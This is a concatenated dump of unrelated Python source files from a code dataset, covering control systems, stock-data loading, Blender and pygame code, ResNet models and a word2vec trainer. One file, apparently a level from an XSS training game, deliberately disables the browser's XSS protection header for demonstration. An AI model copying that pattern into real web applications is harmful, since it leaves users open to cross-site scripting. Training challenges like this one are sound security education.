h\n\n dp = (1/(1+a*a)) * da1\n return p, dp\n\ndef get_current_operating_point(model_type: ModelType, e_and_derivatives, lambda_and_derivatives):\n \"\"\"Wrapper function for getLinearizedMatrices. Computes the linearized matrices from the current flat output\n and its derivative.\n :param model_type: the type of model that should be linearized\n :param e_and_derivatives: planned trajectory for e\n :param lambda_and_derivatives: planned trajectory for lambda\n :return operating point vector, Vf_op, Vb_op\"\"\"\n e_op = e_and_derivatives[0]\n de_op = e_and_derivatives[1]\n lamb_op = lambda_and_derivatives[0]\n dlamb_op = lambda_and_derivatives[1]\n Vf_op, Vb_op = compute_feed_forward_flatness(model_type, e_and_derivatives, lambda_and_derivatives)\n p_op, dp_op = get_p_and_first_derivative(model_type, e_and_derivatives, lambda_and_derivatives)\n operating_point = [p_op, e_op, lamb_op, dp_op, de_op, dlamb_op]\n return operating_point, Vf_op, Vb_op\n\nclass TimeVariantController(AbstractController):\n def __init__(self):\n self.operating_point = [0, 0] # travel, elevation\n self.linearization_model_type = ModelType.EASY\n self.flatness_model_type = ModelType.EASY\n self.poles = [-1, -2, -3, -4, -5, -6]\n self.Vf_op = 0\n self.Vb_op = 0\n self.K = np.zeros((2, 6))\n self.time_variant_feedback = True\n self.feedback_computed = False\n\n super().__init__(\"TimeVariantController\", {\n \"Linearization Model type\": ParamEnum([\"Simple\", \"Friction\", \"Centripetal\", \"Rotorspeed\"],\n [ModelType.EASY, ModelType.FRICTION, ModelType.CENTRIPETAL, ModelType.ROTORSPEED],\n self.linearization_model_type),\n \"Flatness-calculation model type\": ParamEnum([\"Simple\", \"Centripetal\"],\n [ModelType.EASY, ModelType.CENTRIPETAL],\n self.flatness_model_type),\n \"Poles\": ParamFloatArray(self.poles)\n })\n\n def control(self, t, x, e_traj, lambda_traj):\n # delete front and back speed because we dont need it here\n x = x[:6]\n # p, e, lamb, dp, de, dlamb = x\n # u_op = np.array([self.Vf_op, self.Vb_op])\n # x_op = np.array([0, self.operating_point[1], self.operating_point[0], 0, 0, 0])\n\n operating_point, Vf_op, Vb_op = get_current_operating_point(self.flatness_model_type, e_traj, lambda_traj)\n A, B, Vf_op, Vb_op = getLinearizedMatrices(self.linearization_model_type, operating_point, Vf_op, Vb_op)\n\n linearized_state = x - operating_point\n\n # compute K for this time step\n try:\n K_now = ctr.place(A, B, self.poles)\n except Exception as e:\n print(\"Error during pole placement: \" + str(e))\n\n u = - K_now @ linearized_state\n return u\n\n def initialize(self, param_value_dict):\n self.linearization_model_type = param_value_dict[\"Linearization Model type\"]\n self.flatness_model_type = param_value_dict[\"Flatness-calculation model type\"]\n self.poles = param_value_dict[\"Poles\"]\n self.feedback_computed = False\n","sub_path":"helicontrollers/unused/TimeVariantController.py","file_name":"TimeVariantController.py","file_ext":"py","file_size_in_byte":10391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"640050095","text":"import os\nimport pandas as pd\nimport numpy as np\nimport load_md as foo # 根据数据集编写, 用来读取数据的文件\nimport time\nfrom multiprocessing import Pool\n\ndef task(n, days, codes):\n print('Start process %d to read data.' % os.getpid())\n data = pd.DataFrame()\n for d in days:\n df = data_processing(d, codes)\n data = data.append(df)\n print(data.shape)\n data.to_csv('./data/temp/data_%02d.csv' % n)\n\ndef dataset(start=20180701, end=20181231, parallel_lines=12):\n codes = pd.read_csv('./data/code.csv', index_col=0)\n codes.loc[:, 'code'] = codes['code'].apply(lambda x: str(x).zfill(6))\n codes = codes.code.values\n\n df = pd.read_csv('./data/raw_data/target.csv', index_col=0)\n start = np.unique(df[df.date < start].date.values)[-106]\n\n target = read_target(start, end)\n date = np.unique(target.date.values)\n pd.DataFrame({'date': date}).to_csv('./data/date.csv')\n date = date[:-1]\n target.to_csv('./data/target.csv')\n\n if date.shape[0] < parallel_lines:\n parallel_lines = date.shape[0]\n\n n = date.shape[0] // parallel_lines\n k = date.shape[0] % parallel_lines\n p = Pool(parallel_lines)\n for i in range(k):\n p.apply_async(task, args=(i, date[i * (n + 1):(i + 1) * (n + 1)], codes))\n date2 = date[k*(n+1):]\n for i in range(k, parallel_lines):\n p.apply_async(task, args=(i, date2[(i-k)*n:(i-k+1)*n], codes))\n p.close()\n p.join()\n\n def generate_dataset():\n data = pd.DataFrame()\n for j in range(0, parallel_lines):\n df = pd.read_csv('./data/temp/data_%02d.csv' % j, index_col=0)\n data = data.append(df)\n print(data.shape)\n data.to_csv('./data/data.csv')\n\n generate_dataset()\n print('Finished!')\n\n return date.shape[0]\n\ndef data_processing(date, codes=['000002']):\n\n keys = ['totbid', 'totoff', 'vol', 'last', 'low', 'high', 'open']\n keys.extend(['bid' + str(x) for x in range(1, 11)])\n keys.extend(['ask' + str(x) for x in range(1, 11)])\n keys.extend(['bid_vol' + str(x) for x in range(1, 11)])\n keys.extend(['ask_vol' + str(x) for x in range(1, 11)])\n\n data = pd.DataFrame()\n\n df = read_data(date, codes, keys)\n t1 = time.time()\n for c in codes:\n temp = pd.DataFrame(df[c].values)\n temp.columns = keys\n temp['code'] = c\n\n if temp.isnull().sum().max() >= 4802:\n continue\n\n temp['vol'] = temp['vol'].diff().fillna(0)\n\n temp['ask'] = temp[['ask' + str(x) for x in range(1, 11)]].mean(axis=1)\n temp['bid'] = temp[['bid' + str(x) for x in range(1, 11)]].mean(axis=1)\n temp.drop(['ask' + str(x) for x in range(1, 11)], axis=1, inplace=True)\n temp.drop(['bid' + str(x) for x in range(1, 11)], axis=1, inplace=True)\n\n temp['ask_vol'] = temp[['ask_vol' + str(x) for x in range(1, 11)]].mean(axis=1)\n temp['bid_vol'] = temp[['bid_vol' + str(x) for x in range(1, 11)]].mean(axis=1)\n temp.drop(['ask_vol' + str(x) for x in range(1, 11)], axis=1, inplace=True)\n temp.drop(['bid_vol' + str(x) for x in range(1, 11)], axis=1, inplace=True)\n\n m_lst = ['last', 'bid', 'ask']\n for i in m_lst:\n temp[i+'_mean'] = temp[i].ewm(span=4).mean()\n temp.drop(i, axis=1, inplace=True)\n\n print('Finished %d data processing, cost %.3fs' % (date, time.time() - t1))\n return data\n\ndef read_data(date, codes=['000002'], keys=None):\n fp64_keys = keys[:3]\n fp32_keys = keys[3:]\n\n t1 = time.time()\n data = pd.DataFrame()\n for i in fp64_keys:\n df = foo.get_mem_data_by_tick(date, i, codes=codes, dtype='float64').astype('float32')\n data = pd.concat([data, df], axis=1)\n\n for i in fp32_keys:\n df = foo.get_mem_data_by_tick(date, i, codes=codes, dtype='float32')\n data = pd.concat([data, df], axis=1)\n\n print('Finished %d, cost %.3fs' % (date, time.time() - t1))\n return data\n\ndef read_target(start=20180701, end=20181231):\n df = pd.read_csv('./data/raw_data/target.csv', index_col=0)\n df.columns = ['date', 'code', 'change']\n\n target = pd.DataFrame()\n target = target.append(df[(start <= df.date) & (df.date <= end)])\n target['change'] = target['change'].apply(lambda x: x*100)\n\n return target\n\ndef get_data(i=0):\n data = pd.read_csv('./data/data.csv', index_col=0).groupby('code')\n target = pd.read_csv('./data/target.csv').groupby('code')\n\n codes = pd.read_csv('./data/r_code.csv', index_col=0).code.values\n x_train, y_train, x_test, y_test = [], [], [], []\n \n for c in codes:\n df = data.get_group(c)\n obj = target.get_group(c)\n\n df.drop('code', axis=1, inplace=True)\n\n df = df.fillna(method='bfill').fillna(method='ffill')\n df = df.apply(lambda x: (x - np.min(x[:(i+106)*49])) / (np.max(x[:(i+106)*49]) - np.min(x[:(i+106)*49])))\n \n for j in range(i+15, i+107):\n if j < i+105:\n x_train.append(df[(j-15)*49:j*49].values)\n y_train.append(obj['change'][j:j+1].values)\n elif j > i+105:\n x_test.append(df[(j-15)*49:j*49].values)\n y_test.append(obj['change'][j:j+1].values)\n\n x_train = np.array(x_train)\n y_train = np.array(y_train)\n y_train = y_train / 20 + 0.5\n y_train = np.clip(y_train, 0, 1)\n \n x_test = np.array(x_test)\n y_test = np.array(y_test)\n y_test = y_test / 20 + 0.5\n \n return x_train, y_train, x_test, y_test\n\nif __name__ == '__main__':\n start, end = 20190610, 20190731\n l = dataset(start, end, parallel_lines=12)\n\n data = pd.read_csv('./data/data.csv', index_col=0).groupby('code')\n\n codes = pd.read_csv('./data/code.csv', index_col=0).code.values\n r_codes = []\n for c in codes:\n try:\n\t df = data.get_group(c)\n except KeyError:\n continue\n\n if df.shape[0] < 49*l:\n continue\n r_codes.append(c)\n \n pd.DataFrame({'code': np.array(r_codes)}).to_csv('./data/r_code.csv')\n","sub_path":"load_data.py","file_name":"load_data.py","file_ext":"py","file_size_in_byte":6022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"370433127","text":"#!/usr/bin/env python\n\n# return the % difference of two given images\n# only works with images of the same file type\n\nfrom PIL import Image, ImageChops, ImageStat\nfrom os import remove\n\ndiff_img_file = 'diff_img.jpg'\n\ndef diff(im1_file, \n im2_file, \n delete_diff_file=False, \n diff_img_file=diff_img_file):\n im1 = Image.open(im1_file)\n im2 = Image.open(im2_file)\n diff_img = ImageChops.difference(im1,im2)\n diff_img.convert('RGB').save(diff_img_file)\n stat = ImageStat.Stat(diff_img)\n # can be [r,g,b] or [r,g,b,a]\n sum_channel_values = sum(stat.mean)\n max_all_channels = len(stat.mean) * 100\n diff_ratio = sum_channel_values/max_all_channels\n if delete_diff_file:\n remove(diff_img_file)\n return diff_ratio\n","sub_path":"diffimg/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"460172714","text":"# ##### BEGIN GPL LICENSE BLOCK #####\r\n#\r\n# This program is free software; you can redistribute it and/or\r\n# modify it under the terms of the GNU General Public License\r\n# as published by the Free Software Foundation; either version 2\r\n# of the License, or (at your option) any later version.\r\n#\r\n# This program is distributed in the hope that it will be useful,\r\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n# GNU General Public License for more details.\r\n#\r\n# You should have received a copy of the GNU General Public License\r\n# along with this program; if not, write to the Free Software Foundation,\r\n# Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\r\n#\r\n# ##### END GPL LICENSE BLOCK #####\r\n\r\n# \r\n\r\nbl_info = {\r\n \"name\": \"Export Materials to GLSL\",\r\n \"author\": \"Vitor Balbio & Sybren A. Stüvel\",\r\n \"version\": (1, 1),\r\n \"blender\": (2, 6, 0),\r\n \"api\": 40838,\r\n \"location\": \"Material Properties\",\r\n \"description\": \"Export one or more materials to GLSL Code\",\r\n \"warning\": \"\",\r\n \"wiki_url\": \"http://wiki.blender.org/index.php/Extensions:2.5/Py/Scripts/Game_Engine/Export_GLSL\",\r\n \"tracker_url\": \"http://projects.blender.org/tracker/index.php?func=detail&aid=28839&group_id=153&atid=467\",\r\n \"category\": \"Game Engine\"}\r\n\r\nimport bpy\r\nimport gpu\r\nimport os\r\n\r\n\r\nclass EXPORT_OT_GLSLmat(bpy.types.Operator):\r\n \"\"\"Export all materials of this scene to GLSL (.frag and .vert files) \"\"\"\r\n bl_idname = \"export.glslmat\"\r\n bl_label = \"Export Material To GLSL\"\r\n\r\n filepath = bpy.props.StringProperty(subtype=\"FILE_PATH\")\r\n\r\n def write_shader(self, scene, mat):\r\n \"\"\"Writes a shader for the given material to two GLSL files.\"\"\"\r\n\r\n shader = gpu.export_shader(scene, mat)\r\n\r\n path = os.path.join(self.filepath, \"mat_%s.%%s\" % mat.name)\r\n with open(path % \"frag\", \"w\") as frag:\r\n frag.write(shader[\"fragment\"])\r\n\r\n with open(path % \"vert\", \"w\") as vertex:\r\n vertex.write(shader[\"vertex\"])\r\n\r\n self.export_count += 1\r\n\r\n def execute(self, context):\r\n\r\n scene = bpy.context.scene\r\n materials = bpy.data.materials\r\n export_glsl_options = bpy.context.window_manager.exportGlslOptions\r\n\r\n self.filepath = os.path.dirname(self.filepath)\r\n self.export_count = 0\r\n\r\n print('Writing GLSL files to %s' % self.filepath)\r\n\r\n if export_glsl_options == \"ALL\":\r\n for mat in materials:\r\n self.write_shader(scene, mat)\r\n\r\n elif export_glsl_options == \"SELECTED\":\r\n for obj in bpy.context.selected_objects:\r\n print(' - exporting materials for object %s' % obj)\r\n for matsl in obj.material_slots:\r\n self.write_shader(scene, matsl.material)\r\n\r\n elif export_glsl_options == \"ACTIVE\":\r\n self.write_shader(scene, bpy.context.material)\r\n\r\n self.report({'INFO'}, 'Exported %i materials to GLSL files' % self.export_count)\r\n\r\n return {'FINISHED'}\r\n\r\n def invoke(self, context, event):\r\n context.window_manager.fileselect_add(self)\r\n return {'RUNNING_MODAL'}\r\n\r\n\r\nclass GlslExportPanel(bpy.types.Panel):\r\n bl_idname = \"Export_Material2GLSL\"\r\n bl_label = \"Export Material To GLSL\"\r\n bl_space_type = 'PROPERTIES'\r\n bl_region_type = 'WINDOW'\r\n bl_context = \"material\"\r\n\r\n bpy.types.WindowManager.exportGlslOptions = bpy.props.EnumProperty(\r\n name=\"Export\",\r\n description=\"\",\r\n items=((\"ALL\", \"All Materials\", \"Export all materials from all scenes\"),\r\n (\"SELECTED\", \"Selected Object Materials \",\r\n \"Export all materials from the selected objects\"),\r\n (\"ACTIVE\", \"Active Material\", \"Export just this active material\")),\r\n default=\"ALL\")\r\n\r\n def draw(self, context):\r\n self.layout.prop(context.window_manager, \"exportGlslOptions\")\r\n self.layout.operator(\"export.glslmat\")\r\n\r\n\r\ndef register():\r\n bpy.utils.register_class(EXPORT_OT_GLSLmat)\r\n bpy.utils.register_class(GlslExportPanel)\r\n\r\n\r\ndef unregister():\r\n bpy.utils.unregister_class(EXPORT_OT_GLSLmat)\r\n bpy.utils.unregister_class(GlslExportPanel)\r\n","sub_path":".config/blender/2.75/scripts/addons/game_export_GLSL_Shader.py","file_name":"game_export_GLSL_Shader.py","file_ext":"py","file_size_in_byte":4313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"477204836","text":"from os.path import exists as __exists, join as __join\n\ndeck_folder_path = \"./deck/\"\n\n\ndef __filter_card_id(cards: list[str]):\n \"\"\"Filters an list with card ids to remove\n repeating ones and non-ids\"\"\"\n\n ids = list()\n for c in cards:\n try:\n int(c)\n except Exception:\n pass\n else:\n if c not in ids:\n ids.append(c)\n return ids\n\n\ndef get_deck(deck_name: str):\n \"\"\"Reads a deck file and returns the\n ids of the cards in it\"\"\"\n\n deck_path = __join(deck_folder_path, f\"{deck_name}.ydk\")\n deck_exists = __exists(deck_path)\n if not deck_exists:\n return None\n deck = open(deck_path, mode=\"r\", encoding=\"utf8\")\n cards = __filter_card_id([l.strip() for l in deck.readlines()])\n return cards\n","sub_path":"deckread.py","file_name":"deckread.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"537789982","text":"class ProtocolDef(object):\n\n def __init__(self, ether_type, transport_type, port):\n self.ether_type = ether_type\n self.transport_type = transport_type\n self.port = port\n self.key = int(str(self.ether_type) + str(self.transport_type) + str(self.port))\n\n\nclass BaseHandler(object):\n\n # http://www.iana.org/assignments/ieee-802-numbers/ieee-802-numbers.xhtml\n # http://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml\n def __init__(self, protocol_def, display_col):\n self.protocol_def = protocol_def\n self.display_col = display_col","sub_path":"handlers/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"597702038","text":"import sys\nfrom time import sleep\nimport pygame\nfrom utils import fleet_utils, shooting_utils\n\n\ndef check_keydown_events(event, ai_settings, screen, stats, sb, ship, aliens, bullets):\n if event.key == pygame.K_RIGHT:\n ship.moving_right = True\n\n elif event.key == pygame.K_LEFT:\n ship.moving_left = True\n\n elif event.key == pygame.K_SPACE:\n shooting_utils.fire_bullet(ai_settings, screen, ship, bullets)\n\n elif event.key == pygame.K_q:\n sys.exit()\n\n elif event.key == pygame.K_p:\n start_game(ai_settings, screen, stats, sb, ship, aliens, bullets)\n\n\ndef check_keyup_events(event, ship):\n if event.key == pygame.K_RIGHT:\n ship.moving_right = False\n elif event.key == pygame.K_LEFT:\n ship.moving_left = False\n\n\ndef check_events(ai_settings, screen, stats, sb, play_button, ship, aliens, bullets):\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n elif event.type == pygame.KEYDOWN:\n check_keydown_events(event, ai_settings, screen, stats, sb, ship, aliens, bullets)\n\n elif event.type == pygame.KEYUP:\n check_keyup_events(event, ship)\n\n elif event.type == pygame.MOUSEBUTTONDOWN:\n mouse_x, mouse_y = pygame.mouse.get_pos()\n check_play_button(ai_settings, screen, stats, sb, play_button, ship, aliens, bullets, mouse_x, mouse_y)\n\n\ndef check_play_button(ai_settings, screen, stats, sb, play_button, ship, aliens, bullets, mouse_x, mouse_y):\n button_clicked = play_button.rect.collidepoint(mouse_x, mouse_y)\n if button_clicked and not stats.game_active:\n start_game(ai_settings, screen, stats, sb, ship, aliens, bullets)\n\n\ndef start_game(ai_settings, screen, stats, sb, ship, aliens, bullets):\n ai_settings.initialize_dynamic_settings()\n pygame.mouse.set_visible(False)\n stats.reset_stats()\n stats.game_active = True\n\n sb.prep_score()\n sb.prep_high_score()\n sb.prep_level()\n sb.prep_ships()\n\n aliens.empty()\n bullets.empty()\n\n fleet_utils.create_fleet(ai_settings, screen, ship, aliens)\n ship.center_ship()\n\n\ndef update_screen(ai_settings, screen, stats, sb, ship, aliens, bullets, play_button, aliens_bullets):\n screen.fill(ai_settings.bg_color)\n for bullet in bullets.sprites():\n bullet.draw_bullet()\n ship.blitme()\n aliens.draw(screen)\n if fleet_utils.get_number_rows == 1:\n for alien_bullet in aliens_bullets.sprites():\n alien_bullet.draw_aliens_bullets()\n sb.show_score()\n\n if not stats.game_active:\n play_button.draw_button()\n\n pygame.display.flip()\n\n\ndef ship_hit(ai_settings, stats, screen, sb, ship, aliens, bullets):\n if stats.ships_left > 0:\n stats.ships_left -= 1\n\n sb.prep_ships()\n\n aliens.empty()\n bullets.empty()\n\n fleet_utils.create_fleet(ai_settings, screen, ship, aliens)\n ship.center_ship()\n\n sleep(0.5)\n else:\n stats.game_active = False\n pygame.mouse.set_visible(True)\n\n\ndef check_aliens_bottom(ai_settings, stats, screen, sb, ship, aliens, bullets):\n screen_rect = screen.get_rect()\n for alien in aliens.sprites():\n if alien.rect.bottom >= screen_rect.bottom:\n ship_hit(ai_settings, stats, screen, sb, ship, aliens, bullets)\n break\n\n\ndef update_aliens(ai_settings, stats, screen, sb, ship, aliens, bullets):\n fleet_utils.check_fleet_edges(ai_settings, aliens)\n aliens.update()\n if pygame.sprite.spritecollideany(ship, aliens):\n ship_hit(ai_settings, stats, screen, sb, ship, aliens, bullets)\n check_aliens_bottom(ai_settings, stats, screen, sb, ship, aliens, bullets)\n\n","sub_path":"game_functions.py","file_name":"game_functions.py","file_ext":"py","file_size_in_byte":3694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"39583902","text":"import torch.nn as nn\nimport torch.nn.functional as F\nimport torch.utils.model_zoo as model_zoo\n\nmodel_urls = {\n 'resnet18':\n 'https://download.pytorch.org/models/resnet18-5c106cde.pth',\n 'resnet34':\n 'https://download.pytorch.org/models/resnet34-333f7ec4.pth',\n 'resnet50':\n 'https://download.pytorch.org/models/resnet50-19c8e357.pth',\n 'resnet101':\n 'https://download.pytorch.org/models/resnet101-5d3b4d8f.pth',\n 'resnet152':\n 'https://download.pytorch.org/models/resnet152-b121ed2d.pth',\n 'resnext50_32x4d':\n 'https://download.pytorch.org/models/resnext50_32x4d-7cdf4587.pth',\n 'resnext101_32x8d':\n 'https://download.pytorch.org/models/resnext101_32x8d-8ba56ff5.pth',\n 'wide_resnet50_2':\n 'https://download.pytorch.org/models/wide_resnet50_2-95faca4d.pth',\n 'wide_resnet101_2':\n 'https://download.pytorch.org/models/wide_resnet101_2-32ee1156.pth',\n}\n\n\nclass FixedBatchNorm(nn.BatchNorm2d):\n def forward(self, input):\n return F.batch_norm(input,\n self.running_mean,\n self.running_var,\n self.weight,\n self.bias,\n training=False,\n eps=self.eps)\n\n\ndef conv3x3(in_planes, out_planes, stride=1):\n \"3x3 convolution with padding\"\n return nn.Conv2d(in_planes,\n out_planes,\n kernel_size=3,\n stride=stride,\n padding=1,\n bias=False)\n\n\nclass BasicBlock(nn.Module):\n expansion = 1\n\n def __init__(self,\n inplanes,\n planes,\n stride=1,\n downsample=None,\n dilation=1):\n super(BasicBlock, self).__init__()\n self.conv1 = conv3x3(inplanes, planes, stride)\n self.bn1 = nn.BatchNorm2d(planes)\n self.relu = nn.ReLU(inplace=True)\n self.conv2 = conv3x3(planes, planes)\n self.bn2 = nn.BatchNorm2d(planes)\n self.downsample = downsample\n self.stride = stride\n self.dilation = dilation\n\n def forward(self, x):\n residual = x\n\n out = self.conv1(x)\n out = self.bn1(out)\n out = self.relu(out)\n\n out = self.conv2(out)\n out = self.bn2(out)\n\n if self.downsample is not None:\n residual = self.downsample(x)\n\n out += residual\n out = self.relu(out)\n\n return out\n\n\nclass Bottleneck(nn.Module):\n expansion = 4\n\n def __init__(self,\n inplanes,\n planes,\n stride=1,\n downsample=None,\n dilation=1):\n super(Bottleneck, self).__init__()\n self.conv1 = nn.Conv2d(inplanes, planes, kernel_size=1, bias=False)\n self.bn1 = FixedBatchNorm(planes)\n self.conv2 = nn.Conv2d(planes,\n planes,\n kernel_size=3,\n stride=stride,\n padding=dilation,\n bias=False,\n dilation=dilation)\n self.bn2 = FixedBatchNorm(planes)\n self.conv3 = nn.Conv2d(planes, planes * 4, kernel_size=1, bias=False)\n self.bn3 = FixedBatchNorm(planes * 4)\n self.relu = nn.ReLU(inplace=True)\n self.downsample = downsample\n self.stride = stride\n self.dilation = dilation\n\n def forward(self, x):\n residual = x\n\n out = self.conv1(x)\n out = self.bn1(out)\n out = self.relu(out)\n\n out = self.conv2(out)\n out = self.bn2(out)\n out = self.relu(out)\n\n out = self.conv3(out)\n out = self.bn3(out)\n\n if self.downsample is not None:\n residual = self.downsample(x)\n\n out += residual\n out = self.relu(out)\n\n return out\n\n\nclass ResNet(nn.Module):\n def __init__(self,\n block,\n layers,\n strides=(2, 2, 2, 2),\n dilations=(1, 1, 1, 1)):\n self.inplanes = 64\n super(ResNet, self).__init__()\n self.conv1 = nn.Conv2d(3,\n 64,\n kernel_size=7,\n stride=strides[0],\n padding=3,\n bias=False)\n self.bn1 = FixedBatchNorm(64)\n self.relu = nn.ReLU(inplace=True)\n self.maxpool = nn.MaxPool2d(kernel_size=3, stride=2, padding=1)\n self.layer1 = self._make_layer(block,\n 64,\n layers[0],\n stride=1,\n dilation=dilations[0])\n self.layer2 = self._make_layer(block,\n 128,\n layers[1],\n stride=strides[1],\n dilation=dilations[1])\n self.layer3 = self._make_layer(block,\n 256,\n layers[2],\n stride=strides[2],\n dilation=dilations[2])\n self.layer4 = self._make_layer(block,\n 512,\n layers[3],\n stride=strides[3],\n dilation=dilations[3])\n self.inplanes = 1024\n\n def _make_layer(self, block, planes, blocks, stride=1, dilation=1):\n downsample = None\n if stride != 1 or self.inplanes != planes * block.expansion:\n downsample = nn.Sequential(\n nn.Conv2d(self.inplanes,\n planes * block.expansion,\n kernel_size=1,\n stride=stride,\n bias=False),\n FixedBatchNorm(planes * block.expansion),\n )\n\n layers = [block(self.inplanes, planes, stride, downsample, dilation=1)]\n self.inplanes = planes * block.expansion\n for i in range(1, blocks):\n layers.append(block(self.inplanes, planes, dilation=dilation))\n\n return nn.Sequential(*layers)\n\n def forward(self, x):\n x = self.conv1(x)\n x = self.bn1(x)\n x = self.relu(x)\n x = self.maxpool(x)\n\n x = self.layer1(x)\n x = self.layer2(x)\n x = self.layer3(x)\n x = self.layer4(x)\n\n return x\n\n\ndef resnet18(pretrained=True, **kwargs):\n \"\"\"\n >>> import torch\n >>> x = torch.randn((2, 3, 512, 512))\n >>> y = resnet18()(x)\n >>> assert y.shape == torch.Size([2, 512, 16, 16])\n \"\"\"\n model = ResNet(BasicBlock, [2, 2, 2, 2], **kwargs)\n if pretrained:\n state_dict = model_zoo.load_url(model_urls['resnet18'])\n state_dict.pop('fc.weight')\n state_dict.pop('fc.bias')\n model.load_state_dict(state_dict)\n return model\n\n\ndef resnet34(pretrained=True, **kwargs):\n \"\"\"\n >>> import torch\n >>> x = torch.randn((2, 3, 512, 512))\n >>> y = resnet34()(x)\n >>> assert y.shape == torch.Size([2, 512, 16, 16])\n \"\"\"\n model = ResNet(BasicBlock, [3, 4, 6, 3], **kwargs)\n if pretrained:\n state_dict = model_zoo.load_url(model_urls['resnet34'])\n state_dict.pop('fc.weight')\n state_dict.pop('fc.bias')\n model.load_state_dict(state_dict)\n return model\n\n\ndef resnet50(pretrained=True, **kwargs):\n \"\"\"\n >>> import torch\n >>> x = torch.randn((2, 3, 512, 512))\n >>> y = resnet50()(x)\n >>> assert y.shape == torch.Size([2, 2048, 16, 16])\n \"\"\"\n model = ResNet(Bottleneck, [3, 4, 6, 3], **kwargs)\n if pretrained:\n state_dict = model_zoo.load_url(model_urls['resnet50'])\n state_dict.pop('fc.weight')\n state_dict.pop('fc.bias')\n model.load_state_dict(state_dict)\n return model\n\n\ndef resnet101(pretrained=True, **kwargs):\n \"\"\"\n >>> import torch\n >>> x = torch.randn((2, 3, 512, 512))\n >>> y = resnet101()(x)\n >>> assert y.shape == torch.Size([2, 2048, 16, 16])\n \"\"\"\n model = ResNet(Bottleneck, [3, 4, 23, 3], **kwargs)\n if pretrained:\n state_dict = model_zoo.load_url(model_urls['resnet101'])\n state_dict.pop('fc.weight')\n state_dict.pop('fc.bias')\n model.load_state_dict(state_dict)\n return model\n\n\ndef resnet152(pretrained=True, **kwargs):\n \"\"\"\n >>> import torch\n >>> x = torch.randn((2, 3, 512, 512))\n >>> y = resnet152()(x)\n >>> assert y.shape == torch.Size([2, 2048, 16, 16])\n \"\"\"\n model = ResNet(Bottleneck, [3, 8, 36, 3], **kwargs)\n if pretrained:\n state_dict = model_zoo.load_url(model_urls['resnet152'])\n state_dict.pop('fc.weight')\n state_dict.pop('fc.bias')\n model.load_state_dict(state_dict)\n return model\n\n\nif __name__ == '__main__':\n import doctest\n\n doctest.testmod()\n","sub_path":"wsl_survey/segmentation/irn_unique/net/resnet.py","file_name":"resnet.py","file_ext":"py","file_size_in_byte":9093,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"629063820","text":"from ..nodes import TestNode\nfrom ..teensy_libs import FlexCAN\n\ndef test_register(virtualbus):\n node = TestNode()\n node.CANbus.set_bus(virtualbus)\n\n fc = FlexCAN(500000, virtualbus)\n fc.begin()\n\n node.setup()\n\n assert fc.available() == 1\n","sub_path":"systems/tests/test_node.py","file_name":"test_node.py","file_ext":"py","file_size_in_byte":256,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"489560493","text":"# Q002\n# Created by JKChang\n# 16/02/2017, 21:16\n# Tag: recursion\n# Description: Write a program which can compute the factorial of a given numbers.\n# The results should be printed in a comma-separated sequence on a single line.\n# Suppose the following input is supplied to the program:\n#\n# Suppose the following input is supplied to the program:\n# 8\n# Then, the output should be:\n# 40320\n\ndef fact(x):\n if x == 0:\n return 1\n return fact(x - 1) * x\n\nx = int(input('pls input a number: '))\nprint(fact(x))\n","sub_path":"100 python/Q002.py","file_name":"Q002.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"410367666","text":"class MainPage(webapp.RequestHandler):\n \n def render_template(self, filename, context={}):\n path = os.path.join(os.path.dirname(__file__), filename)\n self.response.out.write(template.render(path, context))\n \n def get(self):\n # Disable the reflected XSS filter for demonstration purposes\n self.response.headers.add_header(\"X-XSS-Protection\", \"0\")\n \n if not self.request.get('timer'):\n # Show main timer page\n self.render_template('index.html')\n else:\n # Show the results page\n timer= self.request.get('timer', 0)\n self.render_template('timer.html', { 'timer' : timer })\n \n return\n \napplication = webapp.WSGIApplication([ ('.*', MainPage), ], debug=False)\n","sub_path":"level4/level.py","file_name":"level.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"210809118","text":"import torch\nimport torch.optim as optim\nfrom torch.utils.data import DataLoader, get_worker_info\nfrom tqdm import tqdm\n\nfrom word2vec.data_reader import DataReader, Word2vecDataset\nfrom word2vec.model import SkipGramModel\n\n\nclass Word2VecTrainer:\n def __init__(self, input_file, output_file, emb_dimension=100, batch_size=32, window_size=5, iterations=3,\n initial_lr=0.001, min_count=12, num_workers=0, collate_fn='custom', iprint=500, t=1e-3, ns_exponent=0.75, \n optimizer='adam', optimizer_kwargs = None, warm_start_model = None, lr_schedule = True, sparse = True):\n\n\n self.data = DataReader(input_file, min_count,t=t, ns_exponent=ns_exponent)\n dataset = Word2vecDataset(self.data, window_size)\n if collate_fn == 'custom':\n collate_fn = dataset.collate\n else:\n collate_fn = None\n self.dataloader = DataLoader(dataset, batch_size=batch_size,\n shuffle=False, num_workers=num_workers, \n collate_fn=collate_fn, worker_init_fn=dataset.worker_init_fn)\n\n self.output_file_name = output_file\n self.emb_size = len(self.data.word2id)\n self.emb_dimension = emb_dimension\n self.iprint = iprint\n self.batch_size = batch_size\n self.iterations = iterations\n self.initial_lr = initial_lr\n self.skip_gram_model = SkipGramModel(self.emb_size, self.emb_dimension, 